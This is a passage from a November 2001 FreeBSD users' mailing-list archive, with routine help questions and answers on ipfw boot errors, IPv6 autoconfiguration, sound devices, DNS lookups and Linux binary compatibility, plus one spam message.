type 6 phy 0 addrl 6 addr 00.a0.cc.32.81.37 Nov 23 13:38:22 blazebox /kernel: -- index 3 type 6 phy 0 addrl 6 addr 00.40.05.71.15.dc Nov 23 13:38:22 blazebox /kernel: IP Filter: v3.4.20 initialized. Default = pass all, Logging = enabled Nov 23 13:38:22 blazebox /kernel: Flushed all rules. Nov 23 13:38:22 blazebox /kernel: 00100 Nov 23 13:38:22 blazebox /kernel: allow Nov 23 13:38:22 blazebox /kernel: ip Nov 23 13:38:22 blazebox /kernel: from Nov 23 13:38:22 blazebox /kernel: any Nov 23 13:38:22 blazebox /kernel: to Nov 23 13:38:22 blazebox /kernel: any Nov 23 13:38:22 blazebox /kernel: via lo0 -------- new kernel -------- Nov 23 13:19:43 blazebox /kernel: FreeBSD 4.4-STABLE #0: Thu Nov 22 19:24:14 EST 2001 Nov 23 13:19:43 blazebox /kernel: paul@blazebox.homeip.net:/usr/src/sys/compile/BLAZEBOX Nov 23 13:19:43 blazebox /kernel: DUMMYNET initialized (011031) Nov 23 13:19:43 blazebox /kernel: BRIDGE 011031, have 5 interfaces Nov 23 13:19:43 blazebox /kernel: -- index 1 type 6 phy 0 addrl 6 addr 00.a0.cc.32.81.37 Nov 23 13:19:43 blazebox /kernel: -- index 3 type 6 phy 0 addrl 6 addr 00.40.05.71.15.dc Nov 23 13:19:43 blazebox /kernel: IPFW: MOD_LOAD Nov 23 13:19:43 blazebox /kernel: IP packet filtering initialized, divert enabled, rule-based forwarding enabled, default to deny, unlimited logging Nov 23 13:19:43 blazebox /kernel: IP Filter: v3.4.20 initialized. Default = block all, Logging = enabled Nov 23 13:19:43 blazebox /kernel: Flushed all rules. Nov 23 13:19:43 blazebox /kernel: ipfw: Nov 23 13:19:43 blazebox /kernel: getsockopt(IP_FW_ADD) Nov 23 13:19:43 blazebox /kernel: : Nov 23 13:19:43 blazebox /kernel: Invalid argument Nov 23 13:19:43 blazebox /kernel: ipfw: Nov 23 13:19:43 blazebox /kernel: getsockopt(IP_FW_ADD) Nov 23 13:19:43 blazebox /kernel: : Nov 23 13:19:43 blazebox /kernel: Invalid argument Nov 23 13:19:43 blazebox /kernel: ipfw: Nov 23 13:19:43 blazebox /kernel: getsockopt(IP_FW_ADD) And so on... What could be causing ipfw to do this? is there anything i should do?Any fixes? Any suggestions or help would be greatly appreciated.Thank you. Regards, Paul B. -- ( http://www.linuxdiscussions.org ) "Linux is like a wigwam: no windows, no gates, Apache inside." -Albert Arendsen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 11:25:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from GENESIS.baggywrinkle.co.uk (genesis.baggywrinkle.co.uk [195.166.68.214]) by hub.freebsd.org (Postfix) with ESMTP id 60D6937B405 for ; Fri, 23 Nov 2001 11:25:18 -0800 (PST) Received: (from mark@localhost) by GENESIS.baggywrinkle.co.uk (8.11.6/8.11.6) id fANJPFx28341 for freebsd-questions@FreeBSD.ORG; Fri, 23 Nov 2001 19:25:15 GMT (envelope-from mark) Date: Fri, 23 Nov 2001 19:25:15 +0000 From: Mark Bath To: freebsd-questions@FreeBSD.ORG Subject: IPv6, rtsol and fxp interface... Message-ID: <20011123192515.G320@baggywrinkle.co.uk> Reply-To: Mark Bath Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I'm hoping someone can help me work out where to look next. I have a number of boxes on a LAN some of these have fxp interfaces and others have xl interfaces. The machines using interface cards with the xl driver are being configured via rtsol for IPv6 without a problem, however all the machines using the fxp driver have problems. They can pass IPv4 traffic without a problem, however rtsol does not get an address back. I have run tcpdump while rtsol has been running and I see no traffic hitting the wire. All the systems are running FreeBSD 4.4 built as off 6th Novemeber, and they have no IPv6 Firewall filters installed that may be blocking traffic. Does anyone have any ideas as to what the problem may be? What other information should I supply? Many thanks in advance.. Mark -- Mark Bath Mark@Baggywrinkle.co.uk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 12: 1: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52]) by hub.freebsd.org (Postfix) with ESMTP id 16A2137B416 for ; Fri, 23 Nov 2001 12:01:00 -0800 (PST) Received: from snafu.enterit.com ([66.57.159.198]) by mail5.carolina.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 23 Nov 2001 14:05:10 -0500 Message-Id: <5.1.0.14.0.20011123142758.02542f70@mail.enterit.com> X-Sender: jconner@enterit.com@mail.enterit.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 23 Nov 2001 14:29:07 -0500 To: freebsd-questions@FreeBSD.ORG From: Jim Conner Subject: FBSD 4.2 REL and Ethernet 802.11b PCMCIA NIC suggestions?? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG To: freeteenfh478@eudoramail.com Subject: FBSD 4.2 REL and Ethernet 802.11b PCMCIA NIC suggestions?? I can upgrade to 4.4 but I really don't have the time right now. Anyone know of a decent (realtek, dlink, intel, smc, or whatever) brand wireless 802.11b standard PCMCIA NIC that FBSD 4.2 will support? Also, anyone going to the GIAC training Cyber-defense Initiative (CDI) East in Washington DC Nov 27-Dec4? TIA - Jim -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ Version: 0.01 Version: 3.12 P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 12:20:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mel-rti17.wanadoo.fr (smtprt17.wanadoo.fr [193.252.19.228]) by hub.freebsd.org (Postfix) with ESMTP id 4403D37B418 for ; Fri, 23 Nov 2001 12:20:20 -0800 (PST) Received: from andira.wanadoo.fr (193.252.19.152) by mel-rti17.wanadoo.fr; 23 Nov 2001 21:20:19 +0100 Received: from Gilles (217.128.200.209) by andira.wanadoo.fr; 23 Nov 2001 21:20:18 +0100 Message-ID: <3bfeaf823c042d46@andira.wanadoo.fr> (added by andira.wanadoo.fr) From: Reply-To: Subject: Chers Amis du Jazz Bonjour ! Date: Fri, 23 nov 2001 19:36:52 +0100 Importance: normal X-Mailer: GOTO Software Sarbacane Vs P1.13b Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable To: undisclosed-recipients:; Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Gilles REMY Jazz Band www.gillesremyjazzband.com Un-plugged Jazz New-Orleans "Saint Louis blues" Complete Free Download Sydney Bechet - Louis Armstrong Django Reinhard - Louis Prima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 13:12:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts17-srv.bellnexxia.net (tomts17.bellnexxia.net [209.226.175.71]) by hub.freebsd.org (Postfix) with ESMTP id 010F937B416 for ; Fri, 23 Nov 2001 13:12:47 -0800 (PST) Received: from khan.anarcat.dyndns.org ([65.94.177.56]) by tomts17-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011123211246.MCZI16532.tomts17-srv.bellnexxia.net@khan.anarcat.dyndns.org>; Fri, 23 Nov 2001 16:12:46 -0500 Received: from shall.anarcat.dyndns.org (shall.anarcat.dyndns.org [192.168.0.1]) by khan.anarcat.dyndns.org (Postfix) with ESMTP id 9960C1926; Fri, 23 Nov 2001 16:14:30 -0500 (EST) Received: by shall.anarcat.dyndns.org (Postfix, from userid 1000) id 12E7B20ADB; Fri, 23 Nov 2001 16:14:16 -0500 (EST) Date: Fri, 23 Nov 2001 16:14:15 -0500 From: The Anarcat To: cjclark@alum.mit.edu Cc: FreeBSD Questions Subject: Re: can't do reverse dns with /etc/hosts Message-ID: <20011123211415.GB26346@shall.anarcat.dyndns.org> Mail-Followup-To: The Anarcat , cjclark@alum.mit.edu, FreeBSD Questions References: <20011115012039.GA61093@shall.anarcat.dyndns.org> <20011114173647.D66694@blossom.cjclark.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="24zk1gE8NUlDmwG9" Content-Disposition: inline In-Reply-To: <20011114173647.D66694@blossom.cjclark.org> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --24zk1gE8NUlDmwG9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed Nov 14, 2001 at 05:36:47PM -0800, Crist J. Clark wrote: >=20 > host(1) _always_ uses DNS. >=20 Doh! I should have RTFM... sorry. Is there a tool that doesn't use just DNS? Or should I write it? ;) A. --24zk1gE8NUlDmwG9 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjv+vCYACgkQttcWHAnWiGeSSACgjxIP/UzexeiZ+yeSt+LUabjH E6wAn3mKBH2t1DZgvsC1tHXNBqbrF0kT =032J -----END PGP SIGNATURE----- --24zk1gE8NUlDmwG9-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 13:25: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54]) by hub.freebsd.org (Postfix) with ESMTP id 1ECD837B416 for ; Fri, 23 Nov 2001 13:25:01 -0800 (PST) Received: from snafu.enterit.com ([66.57.159.198]) by mail7.carolina.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 23 Nov 2001 16:24:56 -0500 Message-Id: <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> X-Sender: jconner@enterit.com@mail.enterit.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 23 Nov 2001 16:48:54 -0500 To: The Anarcat From: Jim Conner Subject: Re: can't do reverse dns with /etc/hosts Cc: cjclark@alum.mit.edu, FreeBSD Questions In-Reply-To: <20011123211415.GB26346@shall.anarcat.dyndns.org> References: <20011114173647.D66694@blossom.cjclark.org> <20011115012039.GA61093@shall.anarcat.dyndns.org> <20011114173647.D66694@blossom.cjclark.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 16:14 11.23.2001 -0500, The Anarcat wrote: >On Wed Nov 14, 2001 at 05:36:47PM -0800, Crist J. Clark wrote: > > > > host(1) _always_ uses DNS. > > > >Doh! I should have RTFM... sorry. > >Is there a tool that doesn't use just DNS? grep hostname /etc/hosts grep password /etc/hosts Those ought to work. >Or should I write it? ;) > >A. - Jim -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ Version: 0.01 Version: 3.12 P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 13:29:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts11-srv.bellnexxia.net (tomts11.bellnexxia.net [209.226.175.55]) by hub.freebsd.org (Postfix) with ESMTP id 81F7D37B418 for ; Fri, 23 Nov 2001 13:29:10 -0800 (PST) Received: from khan.anarcat.dyndns.org ([65.94.177.56]) by tomts11-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011123212905.CWNR24249.tomts11-srv.bellnexxia.net@khan.anarcat.dyndns.org>; Fri, 23 Nov 2001 16:29:05 -0500 Received: from shall.anarcat.dyndns.org (shall.anarcat.dyndns.org [192.168.0.1]) by khan.anarcat.dyndns.org (Postfix) with ESMTP id 703621931; Fri, 23 Nov 2001 16:30:49 -0500 (EST) Received: by shall.anarcat.dyndns.org (Postfix, from userid 1000) id 56FA420ADB; Fri, 23 Nov 2001 16:30:33 -0500 (EST) Date: Fri, 23 Nov 2001 16:30:33 -0500 From: The Anarcat To: Jim Conner Cc: cjclark@alum.mit.edu, FreeBSD Questions Subject: Re: can't do reverse dns with /etc/hosts Message-ID: <20011123213032.GC26346@shall.anarcat.dyndns.org> Mail-Followup-To: The Anarcat , Jim Conner , cjclark@alum.mit.edu, FreeBSD Questions References: <20011114173647.D66694@blossom.cjclark.org> <20011115012039.GA61093@shall.anarcat.dyndns.org> <20011114173647.D66694@blossom.cjclark.org> <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="uXxzq0nDebZQVNAZ" Content-Disposition: inline In-Reply-To: <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --uXxzq0nDebZQVNAZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri Nov 23, 2001 at 04:48:54PM -0500, Jim Conner wrote: > At 16:14 11.23.2001 -0500, The Anarcat wrote: > >On Wed Nov 14, 2001 at 05:36:47PM -0800, Crist J. Clark wrote: > >> > >> host(1) _always_ uses DNS. > >> > > > >Doh! I should have RTFM... sorry. > > > >Is there a tool that doesn't use just DNS? >=20 > grep hostname /etc/hosts > grep password /etc/hosts >=20 > Those ought to work. The thing is that I want to test the functionality of the resolver. I need a simple userland gethostby* interface. :) nslookup and host and friends are all DNS oriented, IIUC. Anyways, I'll probably end up writing my own one-liner. ;) A. --uXxzq0nDebZQVNAZ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjv+v/cACgkQttcWHAnWiGf7CQCfSB0VH4iKvqexNJXWN6t3mjGZ 0IgAn0y4ca89hao+UsbezW8HKe3jZ2DD =M9Wz -----END PGP SIGNATURE----- --uXxzq0nDebZQVNAZ-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 13:59: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web14703.mail.yahoo.com (web14703.mail.yahoo.com [216.136.224.120]) by hub.freebsd.org (Postfix) with SMTP id 872E337B418 for ; Fri, 23 Nov 2001 13:59:04 -0800 (PST) Message-ID: <20011123215904.3573.qmail@web14703.mail.yahoo.com> Received: from [64.131.161.101] by web14703.mail.yahoo.com via HTTP; Fri, 23 Nov 2001 13:59:04 PST Date: Fri, 23 Nov 2001 13:59:04 -0800 (PST) From: Wayne Lubin Subject: sound problem To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, The problem I am having is that half the time I boot up my sound works fine, and the other half I get the error that the /dev/dsp device is busy. Now for a little backgroung and some more details. Just purchased the sound blaster 16 pci card. Compiled into the kernel device pcm device sbc At boot the related messages are pcm0: port 0x6200-0x623f irq 9 at device 20.0 on pci0 and yes I did the MAKEDEV snd0 and the subsequent related devices all seem to be in /dev Note that there is no message relative the the sbc device. Is this a problem? I grabed the xmms port, but the port did not provide an entry in my gnome start menu, and so to start it I enter the command line as superuser /path_to_xmms & Then when I try to play an mp3 I get the message in the gnome terminal, the same terminal that I used to start xmms ** WARNING **: oss_open(): Failed to open audio device (/dev/dsp): Device busy and nothing plays. At which time I shutdown the system(reboot seems to never help this problem) turn back on, and sometimes PRESTO I have sound and everthing works. About half the times I boot it comes up with sound, and the other half I don't because of the /dev/dsp busy thing. Help would be greatly appreciated. thanks. Wayne __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 14: 2:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id B863137B416 for ; Fri, 23 Nov 2001 14:02:07 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 6265966B27; Fri, 23 Nov 2001 14:02:07 -0800 (PST) Date: Fri, 23 Nov 2001 14:02:07 -0800 From: Kris Kennaway To: Evren Yurtesen Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ntop weirdness! Message-ID: <20011123140207.A4980@xor.obsecurity.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="5vNYLRcllDrimb99" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from eyurtese@turkuamk.fi on Fri, Nov 23, 2001 at 11:26:06AM +0200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --5vNYLRcllDrimb99 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Fri, Nov 23, 2001 at 11:26:06AM +0200, Evren Yurtesen wrote: > when I run ntop, I see that I send many mb of data to some MAC addresses > in the network but I dont know what data it is and why the hell I send > that data, how can I know from which process data is leaving and what kind > of data it is etc? Use tcpdump Kris --5vNYLRcllDrimb99 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/sdeWry0BWjoQKURAq6GAKCKVB7V5PfatEFUDjps1lXHSFtIQgCeMv/D F6jyCyrMeB99xUBQQcBh1zo= =3tVS -----END PGP SIGNATURE----- --5vNYLRcllDrimb99-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 14: 3: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id B2DCA37B416 for ; Fri, 23 Nov 2001 14:02:59 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 6EA2266B27; Fri, 23 Nov 2001 14:02:59 -0800 (PST) Date: Fri, 23 Nov 2001 14:02:59 -0800 From: Kris Kennaway To: "Koeller, Manfred" Cc: "'freebsd-questions@FreeBSD.ORG'" Subject: Re: Release 4.4 not downloadable Message-ID: <20011123140259.B4980@xor.obsecurity.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="OwLcNYc0lM97+oe1" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Manfred.Koeller@Dresdner-Bank.com on Fri, Nov 23, 2001 at 11:31:06AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --OwLcNYc0lM97+oe1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Nov 23, 2001 at 11:31:06AM +0100, Koeller, Manfred wrote: > Hi folks, >=20 > just a question: I tried to download release 4.4 but the server said: The > file has moved to another location. There seems to be no ISO image for 4.4 > on your site. >=20 > What 's wrong? You probably used an incorrect or outdated URL. You also forgot to tell us which server and which file you were trying to download! :) Kris --OwLcNYc0lM97+oe1 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/seSWry0BWjoQKURAioQAJ4licP6ifkPAAmPKrItgjYgHP6sSgCg91iM ha2ezQqmeOVXo11oOjARuUs= =oZaO -----END PGP SIGNATURE----- --OwLcNYc0lM97+oe1-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 14: 8:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 9BB3F37B416 for ; Fri, 23 Nov 2001 14:08:10 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 167AhQ-0005bc-00; Fri, 23 Nov 2001 15:24:36 +0800 Date: Fri, 23 Nov 2001 15:24:31 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Hainal Ramon Adrian Cc: freebsd-questions@FreeBSD.ORG Subject: Re: hi there .. i have a problem !!! In-Reply-To: <20011122131409.65568.qmail@web12208.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi. Either add "linux_enable="YES" in your /etc/rc.conf or enter 'linux' at the prompt. both will load the linux.ko module. you should then be able to execute linux elf binaries. On Thu, 22 Nov 2001, Hainal Ramon Adrian wrote: > hi there ,, > > i want to ask something that it is bothering me on > freebsd.... > > before freebsd i had red hat linux 6.2 ...and on linux > i had some binary files that i used...and now on > freebsd that binery files won't work... > i asked some friends how could i make them work on > freebsd and they said to try with brandelf..but i > didn't work..or i was using brandelf in the wrong > way.. > other friends said to try to recompile the files for > freebsd ..but i don't know how to do that..:{{{.. > > please help me with this matter because i realy need > those files .... > > or should i install linux 6.2 again ??? > > please excuse my english .... > > Thank You . > > __________________________________________________ > Do You Yahoo!? > Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. > http://geocities.yahoo.com/ps/info1 > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 14:34:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id 81C9837B416 for ; Fri, 23 Nov 2001 14:34:53 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 7762EBD0C; Fri, 23 Nov 2001 14:34:52 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id OAA28535; Fri, 23 Nov 2001 14:34:52 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fANMWdT76243; Fri, 23 Nov 2001 14:32:39 -0800 (PST) (envelope-from swear@blarg.net) To: "P K" Cc: "freebsd-questions" Subject: Re: router vs freebsd firewall References: <000c01c17455$e1026fc0$0100a8c0@cr1034264a> From: swear@blarg.net (Gary W. Swearingen) Date: 23 Nov 2001 14:32:37 -0800 In-Reply-To: <000c01c17455$e1026fc0$0100a8c0@cr1034264a> Message-ID: <75g075uni2.075@localhost.localdomain> Lines: 15 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "P K" writes: > ISP will install cisco router to our office for internet access > Do I need the firewall also in freebsd? > ISP said that cisco have firewall function. eg filter, nat, routing > I really want to know what is the different. That probably depends on which of Cisco's routers you will be getting, but I suspect that you'll get a router which has a too-small number of filter rules which don't do good things like "stateful filtering". I could go on if I had these things memorized, but I can tell you that my ISP-provided Cisco router is basically useless for my filtering and routing needs. You can get better ones at greater expense, of course. You might get better/more replies if you identify your router. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 14:35:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web14702.mail.yahoo.com (web14702.mail.yahoo.com [216.136.224.119]) by hub.freebsd.org (Postfix) with SMTP id F35FC37B405 for ; Fri, 23 Nov 2001 14:35:43 -0800 (PST) Message-ID: <20011123223541.23729.qmail@web14702.mail.yahoo.com> Received: from [64.131.161.101] by web14702.mail.yahoo.com via HTTP; Fri, 23 Nov 2001 14:35:41 PST Date: Fri, 23 Nov 2001 14:35:41 -0800 (PST) From: Wayne Lubin Subject: /dev/dsp busy problem To: freebsd MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, The problem I am having is that half the time I boot up my sound works fine, and the other half I get the error that the /dev/dsp device is busy. Now for a little background and some more details. Just purchased the sound blaster 16 pci card. Compiled into the kernel device pcm device sbc At boot the related messages are pcm0: port 0x6200-0x623f irq 9 at device 20.0 on pci0 and yes I did the MAKEDEV snd0 and the subsequent related devices all seem to be in /dev Note that there is no message relative the the sbc device. Is this a problem? I grabed the xmms port, but the port did not provide an entry in my gnome start menu, and so to start it I enter the command line as superuser /path_to_xmms & Then when I try to play an mp3 I get the message in the gnome terminal, the same terminal that I used to start xmms ** WARNING **: oss_open(): Failed to open audio device (/dev/dsp): Device busy and nothing plays. At which time I shutdown the system(reboot seems to never help this problem) turn back on, and sometimes PRESTO I have sound and everthing works. About half the times I boot it comes up with sound, and the other half I don't because of the /dev/dsp busy thing. Help would be greatly appreciated. thanks. Wayne __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 14:40:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ampa.pair.com (ampa.pair.com [209.68.1.113]) by hub.freebsd.org (Postfix) with SMTP id D9ACC37B416 for ; Fri, 23 Nov 2001 14:39:58 -0800 (PST) Received: (qmail 39211 invoked by uid 65534); 23 Nov 2001 22:39:57 -0000 Date: 23 Nov 2001 22:39:57 -0000 Message-ID: <20011123223957.39210.qmail@ampa.pair.com> To: 